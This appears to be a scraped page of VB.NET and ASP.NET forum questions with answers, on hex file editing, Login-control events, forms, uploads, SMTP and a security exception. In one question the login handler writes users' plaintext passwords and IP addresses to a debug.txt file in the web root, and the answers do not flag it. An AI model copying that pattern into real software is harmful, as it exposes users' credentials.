How do I change values of hex in file and save again - hex

How do I change the last 6 values of hex in file and save again using vb or c or c++ or java
Imports System.IO
Public Class Form1
Dim hexString As String
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles open_button.Click
If open_openfiledialog.ShowDialog() = Windows.Forms.DialogResult.OK Then
Using file As New IO.FileStream(open_openfiledialog.FileName, IO.FileMode.Open)
Dim value As Integer = file.ReadByte()
Do Until value = -1
hexString = hexString & (value.ToString("X2"))
value = file.ReadByte()
Loop
End Using
hex_richtextbox.Text = hexString
End If
End Sub
Private Sub OpenFileDialog1_FileOk(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles open_openfiledialog.FileOk
End Sub
Private Sub save_button_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles save_button.Click
IO.File.WriteAllBytes("C:myfile.ax2", hex_richtextbox.Text.Split(" "c).Select(Function(s) Convert.ToByte(s, 16)).ToArray())
End Sub
End Class

Related

Call a function from the Login Control in vb.net

Trying to call a function in code behind but not working - one suggestion was to use the OnAuthenticate instead of the OnClick however this requires a rewrite of the entire authentication process.
<asp:Login ID="Login1" runat="server" OnClick="MyButton" DestinationPageUrl="~/Receipt.aspx"
UserNameLabelText="User Name (From: mysite.com):"
PasswordRecoveryText="Forgot User Name or Password?"
PasswordRecoveryUrl="~/GetPassword.aspx">
</asp:Login>
vb code:
Protected Sub MyButton(ByVal sender As Object, ByVal e As System.EventArgs)
Dim username As String = Login1.UserName
Dim currentDateTime As DateTime = DateTime.Now.AddHours(3)
Dim filepath As String = Server.MapPath("~") + "\debug.txt"
Using writer As StreamWriter = File.AppendText(filepath)
writer.WriteLine(username)
writer.WriteLine(currentDateTime)
writer.WriteLine("")
End Using
End Sub
Revised Code:
Imports System.IO
Imports System.Data
Partial Class Login
Inherits System.Web.UI.Page
Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
Dim xUserName As String = User.Identity.Name()
'UpdateLastLoginDate(xUserName)
End Sub
Protected Sub MyButton(ByVal sender As Object, ByVal e As System.EventArgs)
Dim username As String = Login1.UserName
Dim pw As String = Login1.Password
Dim currentDateTime As DateTime = DateTime.Now.AddHours(3)
Dim filepath As String = Server.MapPath("~") + "\debug.txt"
Using writer As StreamWriter = File.AppendText(filepath)
writer.WriteLine(username)
writer.WriteLine(pw)
writer.WriteLine(currentDateTime)
writer.WriteLine("REMOTE_ADDR: " + Request.Servervariables("REMOTE_ADDR"))
writer.WriteLine("USER_AGENT: " + Request.Servervariables("HTTP_USER_AGENT"))
writer.WriteLine("LOCAL_ADDR: " + Request.Servervariables("LOCAL_ADDR"))
writer.WriteLine("LOGON_USER: " + Request.Servervariables("LOGON_USER"))
'writer.WriteLine(Request.Servervariables("ALL_HTTP"))
writer.WriteLine("")
End Using
End Sub
Protected Sub Page_PreInit(sender As Object, e As EventArgs)
WireLoginControlButtonClickEvent(Login1)
End Sub
Private Sub WireLoginControlButtonClickEvent(parent As Control)
For Each ctrl As Control In parent.Controls
If TypeOf ctrl Is Button Then
AddHandler DirectCast(ctrl, Button).Click, Function() (MyFunction())
ElseIf ctrl.HasControls() Then
WireLoginControlButtonClickEvent(ctrl)
End If
Next
End Sub
Private Function MyFunction() As String
Response.Write("Function Called")
Return Nothing
End Function
End Class
Give this a try:
Protected Sub Page_PreInit(sender As Object, e As EventArgs)
WireLoginControlButtonClickEvent(Login1)
End Sub
Private Sub WireLoginControlButtonClickEvent(parent As Control)
For Each ctrl As Control In parent.Controls
If TypeOf ctrl Is Button Then
AddHandler DirectCast(ctrl, Button).Click, AddressOf MyFunction
ElseIf ctrl.HasControls() Then
WireLoginControlButtonClickEvent(ctrl)
End If
Next
End Sub
Private Sub MyFunction(sender As Object, e As EventArgs)
Response.Write("Function Called")
End Sub

how can we access form2 listbox (lb1) in form3

Imports System.Windows.Forms.ListBox
Public Class Form2
Private Sub Form2_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim mf1 As New Form3()
Form3.Visible = True
Me.Hide()
End Sub
Imports System.Data.OleDb
Public Class Form3
Private Class dataaccess
Public Shared Function getconnection() As OleDbConnection
'string constr = #"Provider=Microsoft.ACE.OLEDB.12.0;Data Source=C:\database\Database2007.accdb";
Dim constr1 As String = "Provider=Microsoft.ACE.OLEDB.12.0;Data Source=C:\Users\Suman\Desktop\vs ws\vb\project_sample1\Database1.accdb"
Return New OleDbConnection(constr1)
End Function
End Class
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim con As OleDbConnection = dataaccess.getconnection()
Dim query As String = "SELECT * FROM Burgers"
Dim cmd As New OleDbCommand(query, con)
Dim da As New OleDbDataAdapter(cmd)
Dim ds As New DataSet()
' Dim x As Integer
da.Fill(ds)
**lb1**.Items.Add(ds.Tables(0).Rows(0).ItemArray(0).ToString())
End Sub
I want to store the form 3 data into lb1 listbox which is declared in the form 2
You can pass a reference to that specific listbox or the entire form2 to form3. the easy way is to write it into the constructor of the form.
In Form3:
private _TargetListBox as ListBox
public sub New(ByRef TargetListBox as ListBox)
_TargetListBox = TargetListBox
end sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim con As OleDbConnection = dataaccess.getconnection()
Dim query As String = "SELECT * FROM Burgers"
Dim cmd As New OleDbCommand(query, con)
Dim da As New OleDbDataAdapter(cmd)
Dim ds As New DataSet()
' Dim x As Integer
da.Fill(ds)
_TargetListBox.Items.Add(ds.Tables(0).Rows(0).ItemArray(0).ToString())
End Sub
In Form2:
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim mf1 As New Form3(Me.lb1)
mf1.Visible = True
Me.Hide()
End Sub

how to make dir for fileuploader on the site folders

Partial Class admin_upload
Inherits System.Web.UI.Page
Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
Dim UpPath As String
Dim UpName As String
UpPath = "/images"
UpName = Dir(UpPath, vbDirectory)
If (UpName = "") Then
MkDir("/images")
End If
End Sub
Protected Sub uplodto_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles uplodto.Click
FileName.InnerHtml = FileFiled.PostedFile.FileName
FileContent.InnerHtml = FileFiled.PostedFile.ContentType
FileSize.InnerHtml = FileFiled.PostedFile.ContentLength
UploadDetails.Visible = True
Dim myfilename As String
myfilename = FileFiled.PostedFile.FileName
Dim c As String = System.IO.Path.GetFileName(myfilename)
Try
FileFiled.PostedFile.SaveAs("images\" + c)
Span1.InnerHtml = "File uploaded successfuly"
Catch ex As Exception
Span1.InnerHtml = "faild"
UploadDetails.Visible = False
End Try
End Sub
End Class
i want to make the direction of files on the web site folders & server
If Not System.IO.Directory.Exists(Server.MapPath("~/images/")) Then
System.IO.Directory.CreateDirectory(Server.MapPath("~/images/"))
End If

how to configure smtp settings

Imports System.Net.Mail
Partial Class ContactUs
Inherits System.Web.UI.Page
Protected Sub LinkButton1_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles LinkButton1.Click
Dim username = User.Identity.Name.ToString
Response.Redirect("~/ViewCart_aspx/ViewCart.aspx?userID=" & username)
End Sub
Protected Sub CustomValidator1_ServerValidate(ByVal source As Object, ByVal args As System.Web.UI.WebControls.ServerValidateEventArgs) Handles CustomValidator1.ServerValidate
If txtComments.Text.Length > 200 Then
args.IsValid = False
Else
args.IsValid = True
End If
End Sub
Protected Sub WizardStep3_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles WizardStep3.Load
lblName.text = txtName.Text
lblEmail.Text = txtEmail.Text
lblComments.Text = txtComments.Text
lblRating.Text = txtRatings.Text
End Sub
Protected Sub Wizard1_FinishButtonClick(ByVal sender As Object, ByVal e As System.Web.UI.WebControls.WizardNavigationEventArgs) Handles Wizard1.FinishButtonClick
SendMail(txtEmail.Text, txtComments.Text)
'MsgBox("Feedback Sent")
Response.Redirect("homepage_aspx/homepage.aspx")
End Sub
Private Sub SendMail(ByVal from As String, ByVal body As String)
Dim mMailSettings As System.Net.Configuration.MailSettingsSectionGroup
Dim mPort As Integer = mMailSettings.Smtp.Network.Port
Dim mHost As String = mMailSettings.Smtp.Network.Host
Dim mPassword As String = mMailSettings.Smtp.Network.Password
Dim mUsername As String = mMailSettings.Smtp.Network.UserName
'Dim mailServerName As String = "smtp.tricedeals.com"
'Dim message As MailMessage = New MailMessage(from, "admin#tricedeals.com", "feedback", body)
'Dim mailClient As SmtpClient = New SmtpClient
'mailClient.Host = mailServerName
'mailClient.Send(message)
'message.Dispose()
End Sub
Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
Response.Cache.SetCacheability(HttpCacheability.NoCache)
End Sub
End Class
what is wrong with my smtp settings??i cant send emails.please help me.
you can't send email because the send command is commented out. since you don't give more details or better explanation or exception message that's the only thing I can assume.

System.Security.SecurityException: on calendar

Hello I am receiving this error message when my application is being viewed on the remote machine(internet)
Security Exception Description: The application attempted to perform an operation not allowed by the security policy. To grant this application the required permission please contact your system administrator or change the application's trust level in the configuration file.
Exception Details: System.Security.SecurityException: Request for the permission of type 'System.Security.Permissions.EnvironmentPermission, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' failed.
Source Error:
Line 7: Dim oBF As New BinaryFormatter()
Line 8: Dim oFS As FileStream
Line 9: Dim strPath As String = Path.GetTempPath & "schedule.Bin"
Line 10:
Line 11: Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
Source File: D:\Hosting\4423045\html\please-god\appointmentscheduler.aspx.vb Line: 9
Stack Trace:
Here is the full codes for the application:
Imports System.IO
Imports System.Runtime.Serialization.Formatters.Binary
Partial Class appointmentscheduler
Inherits System.Web.UI.Page
Dim arrCalendar(12, 31) As String
Dim oBF As New BinaryFormatter()
Dim oFS As FileStream
Dim strPath As String = Path.GetTempPath & "schedule.Bin"
Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
If (Cache("arrCalendar") Is Nothing) Then
If (File.Exists(strPath)) Then
oFS = New FileStream(strPath, FileMode.Open)
arrCalendar = DirectCast(oBF.Deserialize(oFS), Array)
oFS.Close()
Cache("arrCalendar") = arrCalendar
End If
Else
arrCalendar = Cache("arrCalendar")
End If
End Sub
Protected Sub btnSave_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles btnSave.Click
arrCalendar(Me.myCalendar.SelectedDate.Month, Me.myCalendar.SelectedDate.Day) = Me.myNotes.Text
oFS = New FileStream(strPath, FileMode.Create)
oBF.Serialize(oFS, arrCalendar)
oFS.Close()
Cache("arrCalendar") = arrCalendar
End Sub
Protected Sub btnDelete_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles btnDelete.Click
arrCalendar(Me.myCalendar.SelectedDate.Month, Me.myCalendar.SelectedDate.Day) = ""
oFS = New FileStream(strPath, FileMode.Create)
oBF.Serialize(oFS, arrCalendar)
oFS.Close()
Cache("arrCalendar") = arrCalendar
Me.myNotes.Text = ""
End Sub
Protected Sub myCalendar_DayRender(ByVal sender As Object, ByVal e As System.Web.UI.WebControls.DayRenderEventArgs) Handles myCalendar.DayRender
If arrCalendar(e.Day.Date.Month, e.Day.Date.Day) <> "" Then
e.Cell.BackColor = Drawing.Color.Red
End If
End Sub
Protected Sub myCalendar_SelectionChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles myCalendar.SelectionChanged
Me.myNotes.Text = ""
If arrCalendar(Me.myCalendar.SelectedDate.Month, Me.myCalendar.SelectedDate.Day) <> "" Then
Me.myNotes.Text = arrCalendar(Me.myCalendar.SelectedDate.Month, Me.myCalendar.SelectedDate.Day)
End If
End Sub
End Class
Can someone help me fixt or tell me what to do.
The user that the application is running under doesn't have access to the temporary folder or the specific file(schedule.Bin).
This may be of some help:
How Do I Determine the Security Account that IIS Uses to Run My Web Site?

Resources